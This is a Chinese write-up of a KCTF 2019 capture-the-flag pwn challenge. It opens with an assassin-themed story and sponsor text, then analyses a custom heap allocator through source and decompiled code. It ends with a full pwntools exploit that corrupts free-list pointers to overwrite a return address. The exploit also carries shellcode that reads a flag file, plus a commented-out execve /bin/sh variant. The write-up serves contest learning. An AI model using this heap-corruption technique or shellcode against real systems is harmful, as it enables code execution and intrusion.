自古以来,在暗夜中隐藏着神秘的刺客一族“荆氏”。他们掌握着代代相传的杀人之剑的秘诀,收受佣金为雇主服务,并且守口如瓶。
荆轲白日里混迹街头,与市井无赖为伍,夜幕降临时则化身为致命杀手。
将军樊於期,窥探到秦王的秘密被迫逃亡,成为燕国的客人。但是,他的声望引起了太子丹的嫉妒。太子丹的手下将大笔金钱送到了杀手荆轲的手中。
豪爽的樊於期与年轻的无赖荆轲,早已超越身份结为好友。最终他拒绝了这笔生意。
次日,外面被太子丹的大批私兵包围。“真可惜啊,我还没有机会为自己挥出过一剑。”荆轲叹息着,提剑走向了残忍的凶手。惨烈的战斗持续到黄昏,熊熊烈焰将半条街映红。
题目简介
本题共有1028人围观,最终只有17支团队攻破成功。比赛过程也十分精彩,选手们深夜破题,化身刺客打破排名僵局,一举拿下属于团队的荣誉。
攻破此题的战队排名一览:
NEURON是一个信息安全爱好者技术团队,成员有各大安全公司技术人员、甲方的信息安全部门人员以及各大高校的学生等。从2014年开始提供信息安全外包服务。
多年来我们和国内多家信息安全测评中心、科学研究院、运营商、高校都有密切的合作。
我们把多年的技术积累转换为服务业务,为各行各业的网络信息系统安全提供可靠的技术保障,也帮助高校培养合格的信息安全技术人才。
void *add_free_block( unsigned int size)
{
void *new_block = NULL;
pm_header thdr;
pm_footer tftr;
size += sizeof( m_header );
if ( size % PAGE_SIZE ) {
size /= PAGE_SIZE;
size += 1;
size *= PAGE_SIZE;
}
new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if ( new_block == NULL ) {
exit(-1);
}
thdr = (pm_header)new_block;
thdr->size = size - sizeof(m_header);
tftr = BLOCK_FOOTER( new_block );
tftr->pNext = NULL;
tftr->pPrev = memman_g.free_list;
memman_g.free_list = new_block;
return new_block;
}
void *malloc( unsigned int size )
{
void *freeWalker = NULL;
void *final_alloc = NULL;
void *new_block = NULL;
unsigned int size_left = 0;
pm_header thdr;
pm_footer tftr;
pm_header header_new_block;
pm_footer footer_new_block;
if ( size < sizeof( m_footer ) ) {
size = sizeof(m_footer);
}
if ( size % 8 ) {
size = ( size >> 3 ) + 1;
size <<= 3;
}
freeWalker = memman_g.free_list;
while ( 1 ) {
if ( freeWalker == NULL ) {
freeWalker = add_free_block( size );
}
thdr = (pm_header)freeWalker;
tftr = BLOCK_FOOTER( freeWalker );
if ( ( thdr->size & ~3) >= size ) {
final_alloc = freeWalker + sizeof(pm_header);
size_left = (thdr->size& ~3) - size;
thdr->size |= 1;
if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {
thdr->size = size;
thdr->size |= 1;
thdr->size |= 2;
new_block = final_alloc + size;
header_new_block = (pm_header)new_block;
header_new_block->size = size_left - sizeof(m_header);
footer_new_block = tftr;
if ( freeWalker == memman_g.free_list ) {
memman_g.free_list = new_block;
if ( tftr->pNext != NULL ) {
tftr = BLOCK_FOOTER( (void*)(tftr->pNext) );
tftr->pPrev = (pm_header)new_block;
}
} else {
if ( tftr->pPrev != NULL ) {
freeWalker = tftr->pPrev;
tftr = BLOCK_FOOTER( freeWalker );
tftr->pNext = (pm_header)new_block;
tftr = footer_new_block;
}
if ( tftr->pNext != NULL ) {
freeWalker = tftr->pNext;
tftr = BLOCK_FOOTER( freeWalker);
tftr->pPrev = (pm_header)new_block;
}
}
} else {
if ( freeWalker == memman_g.free_list ) {
memman_g.free_list = tftr->pNext;
if ( memman_g.free_list ) {
tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
tftr->pPrev = NULL;
}
} else {
if ( tftr->pPrev != NULL ) {
freeWalker = tftr->pPrev;
pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker );
unlink_ftr->pNext = tftr->pNext;
}
if ( tftr->pNext != NULL ) {
freeWalker = tftr->pNext;
pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker);
unlink_ftr->pPrev = tftr->pPrev;
}
}
}
return final_alloc;
}
freeWalker = (void*)tftr->pNext;
}
}
.text:0000000000400A28 mov edx, 0FFh ; nbytes
.text:0000000000400A2D mov rsi, rax ; buf
.text:0000000000400A30 mov edi, 0 ; fd
.text:0000000000400A35 call _read ;; read(0, &stdin_buffer, 0xFF)
.text:0000000000400A49 lea rax, [rbp+stdin_buffer]
.text:0000000000400A50 mov rdi, rax ; nptr
.text:0000000000400A53 call _atoi
.text:0000000000400A58 mov [rbp+size], eax
.text:0000000000400A5B mov ebx, cs:index
.text:0000000000400A61 mov eax, [rbp+sz]
.text:0000000000400A64 mov edi, eax
.text:0000000000400A66 call allocate_buffer ;; no check on size before call to allocate_buffer(size)
分配3个堆块,第二个分配的块必须是-1后的大小
释放第3个堆块
释放第二堆块
+----------------+
| size = N |
| data |
| .. |
| |
| |
| ptr_to_stack |
+----------------+
| size = -1 |
+----------------+
| size = M |
| data |
| |
| |
+----------------+
sz = 128
allocate(s, sz)
allocate(s, -1)
allocate(s, 10)
free(s, "3")
free(s, "2")
payload = "A"*(sz-8) + p64(0x4242424242424242)
write(s, 1, payload)
.text:0000000000400905 ; int __cdecl main(int, char **, char **)
.text:0000000000400905 main proc near
.text:0000000000400905
.text:0000000000400905 stdin_buffer= byte ptr -120h ;; <<-- this buffer provides a good place to land reliably
.text:0000000000400905 sz= dword ptr -14h
padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8
free(s, "2" + "\0" + padd)
allocate(s, 512)
分配
_QWORD *__fastcall f_malloc_400CF7(unsigned int a1)
{
unsigned int size; // [rsp+Ch] [rbp-54h]
unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h]
_QWORD *p_idle_mem; // [rsp+40h] [rbp-20h]
signed __int64 data_addr; // [rsp+48h] [rbp-18h]
unsigned __int64 bk; // [rsp+50h] [rbp-10h]
_QWORD *addr; // [rsp+58h] [rbp-8h]
//
size = a1;
if ( a1 <= 15 )
size = 16; // 最低分配16字节
if ( size & 7 )
size = 8 * ((size >> 3) + 1); // 8字节对齐
for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk )
{
if ( !addr )
addr = f_init_mmap_400C2D(size);
bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8;
if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大于等于 size 符合条件
break;
}
data_addr = (signed __int64)(addr + 1);
idle_mem_size = (*addr & 0xFFFFFFFC) - size; // 分配给用户后的剩余空间
*addr |= 1uLL; // 标记当前堆是使用状态
if ( idle_mem_size <= 0x18 ) // 闲置空间太小
{
if ( (_QWORD *)g_first_idle_heap_602558 == addr )
{
g_first_idle_heap_602558 = *(_QWORD *)bk;
if ( g_first_idle_heap_602558 )
*(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0
}
else
{
if ( *(_QWORD *)(bk + 8) ) // fd
*(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk
if ( *(_QWORD *)bk )
*(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd
}
}
else // 闲置空间至少还能再分配一次内存,分割出用户内存,与闲置内存
{
*addr = size;
*addr |= 1uLL; // 标记当前堆是使用状态
*addr |= 2uLL; // 标记相邻的下一个堆是未使用状态 True 代表未使用
p_idle_mem = (_QWORD *)(size + data_addr);
*p_idle_mem = idle_mem_size - 8LL; // 设置闲置内存大小
if ( (_QWORD *)g_first_idle_heap_602558 == addr )
{
g_first_idle_heap_602558 = size + data_addr;// 将全局变量保存的堆地址指向闲置内存地址
if ( *(_QWORD *)bk )
*(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem
}
else
{
if ( *(_QWORD *)(bk + 8) )
*(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem
if ( *(_QWORD *)bk )
*(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem
}
}
return addr + 1;
}
释放
__int64 *__fastcall f_free_40101A(__int64 *addr)
{
__int64 *flag; // rax
_OWORD *bk; // ST18_8
_QWORD *next_bk; // [rsp+18h] [rbp-20h]
__int64 *next_heap; // [rsp+20h] [rbp-18h]
__int64 *heap_addr; // [rsp+28h] [rbp-10h]
if ( addr )
{
heap_addr = addr - 1;
flag = (__int64 *)(*(addr - 1) & 1);
if ( flag )
{
if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相邻的下一个堆是使用状态
{
bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK
*heap_addr ^= 1uLL; // 使用标志清零
*bk = (unsigned __int64)g_first_idle_heap_602558;
if ( g_first_idle_heap_602558 )
*(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr
flag = addr - 1;
g_first_idle_heap_602558 = (__int64)(addr - 1);
}
else // 相邻的下一个堆未使用,合并
{
*heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合并大小
if ( !(*next_heap & 2) )
*heap_addr ^= 2uLL; // 继承相邻的下个堆的使用状态
if ( (__int64 *)g_first_idle_heap_602558 == next_heap )
g_first_idle_heap_602558 = (__int64)(addr - 1);
next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);
if ( *next_bk )
*(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr
flag = (__int64 *)next_bk[1]; // flag = next_fd
if ( flag )
{
flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr
*flag = (__int64)heap_addr;
}
}
}
}
return flag;
}
结构示意图
堆利用
分配给用户后剩余的空间小于0x18
当前堆块不能在空闲堆链表第一个
修改返回地址
exp
#coding=utf-8
from pwn import *
#
# context.log_level = 'debug'
# p = process('./0xbird1')
p = remote('154.8.174.214', 10000)
#
# execve("/bin/sh") # x86-64
# shellcode = "\x48\x31\xf6\x56\x48\xbf"
# shellcode += "\x2f\x62\x69\x6e\x2f"
# shellcode += "\x2f\x73\x68\x57\x54"
# shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
#
# read file ./flag.txt
shellcode = "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00";
#
heap_addr = []
#
def alloc(size):
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("2019KCTF| ")
#
def free(id):
p.sendline('F')
p.recvuntil("Index: ")
p.sendline(str(id))
p.recvuntil("2019KCTF| ")
#
def edit(id, data, count):
p.sendline('W')
for i in range(1, count+1):
p.recvuntil(") 0x")
heap_addr.append(int(p.recvuntil(" "), 16))
p.recvuntil("Write addr: ")
p.sendline(str(id))
p.recvuntil("Write value: ")
p.send(data)
p.recvuntil("2019KCTF| ")
#
def leak():
p.sendline('N')
p.recvuntil("Here you go: 0x")
return int(p.recvuntil("\n"), 16) + 0x14
#
stack = leak() + 8
print('Get Stack addr: %x' % stack)
#
alloc(32)
alloc(32)
alloc(24)
alloc(1768) # 0x06E8 jmp $+8
edit(4, shellcode, 4)
#
print('Heap Addr:')
print(heap_addr)
#
free(1)
free(3)
#
heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8)
# bk = 栈上的假堆, fd = 第4个堆,这个堆里面保存了 shellcode
# 在 alloc 时,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr
edit(1, heap01, 3)
print('Heap Addr:')
print(heap_addr)
#
raw_input("Pause~\n")
#
# 发送大小时,在栈上面布局一个假堆,大小 0x120,fd = main_ret
size_data = '32.' + 'A'*5 + p64(0x120)
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(size_data)
p.recvuntil("2019KCTF| ")
#
# 跳到 shellcode
p.sendline('E')
#
# p.interactive()
p.close()
往期赛题
* 看雪.纽盾 KCTF 2019 Q3 | 第一题点评及解题思路
* 看雪.纽盾 KCTF 2019 Q3 | 第二题点评及解题思路
* 看雪.纽盾 KCTF 2019 Q3 | 第三题点评及解题思路
* 看雪.纽盾 KCTF 2019 Q3 | 第四题点评及解题思路
合作伙伴